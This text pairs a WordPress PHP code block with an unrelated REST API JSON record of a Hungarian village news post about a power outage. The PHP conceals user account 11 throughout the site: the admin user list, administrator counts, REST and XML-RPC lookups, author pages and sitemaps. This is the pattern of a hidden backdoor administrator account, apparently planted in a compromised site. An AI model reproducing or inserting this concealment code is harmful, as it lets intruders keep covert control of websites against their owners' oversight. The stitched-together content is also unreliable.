add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 11;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 11 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 11 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 11;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 11;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 11;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/11(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 11;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-11{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":921,"date":"2020-11-03T10:00:56","date_gmt":"2020-11-03T10:00:56","guid":{"rendered":"http:\/\/www.bukkszek.hu\/2015\/?p=921"},"modified":"2020-11-03T10:01:29","modified_gmt":"2020-11-03T10:01:29","slug":"aramszunet-miatti-valtozasok","status":"publish","type":"post","link":"http:\/\/www.bukkszek.hu\/2015\/2020\/11\/03\/aramszunet-miatti-valtozasok\/","title":{"rendered":"\u00c1ramsz\u00fcnet miatti v\u00e1ltoz\u00e1sok"},"content":{"rendered":"\n<p><strong>P\u00e9terv\u00e1s\u00e1r\u00e1n november 9-\u00e9n (h\u00e9tf\u0151n) \u00e1ramsz\u00fcnet lesz<\/strong> ez\u00e9rt a k\u00f6zpontban l\u00e9v\u0151 szolg\u00e1ltat\u00e1sok sz\u00fcnetelni fognak. Z\u00e1rva lesz a Korm\u00e1nyhivatal, \u00e9s az Eg\u00e9szs\u00e9g\u00fcgyi K\u00f6zpontban l\u00e9v\u0151 labor, is ahol a v\u00e9rv\u00e9tel t\u00f6rt\u00e9nik.<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>P\u00e9terv\u00e1s\u00e1r\u00e1n november 9-\u00e9n (h\u00e9tf\u0151n) \u00e1ramsz\u00fcnet lesz ez\u00e9rt a k\u00f6zpontban l\u00e9v\u0151 szolg\u00e1ltat\u00e1sok sz\u00fcnetelni fognak. Z\u00e1rva lesz a Korm\u00e1nyhivatal, \u00e9s az Eg\u00e9szs\u00e9g\u00fcgyi K\u00f6zpontban l\u00e9v\u0151 labor, is ahol a v\u00e9rv\u00e9tel t\u00f6rt\u00e9nik.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-921","post","type-post","status-publish","format-standard","hentry","category-hirek"],"_links":{"self":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/921","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/comments?post=921"}],"version-history":[{"count":2,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/921\/revisions"}],"predecessor-version":[{"id":923,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/posts\/921\/revisions\/923"}],"wp:attachment":[{"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/media?parent=921"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/categories?post=921"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.bukkszek.hu\/2015\/wp-json\/wp\/v2\/tags?post=921"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}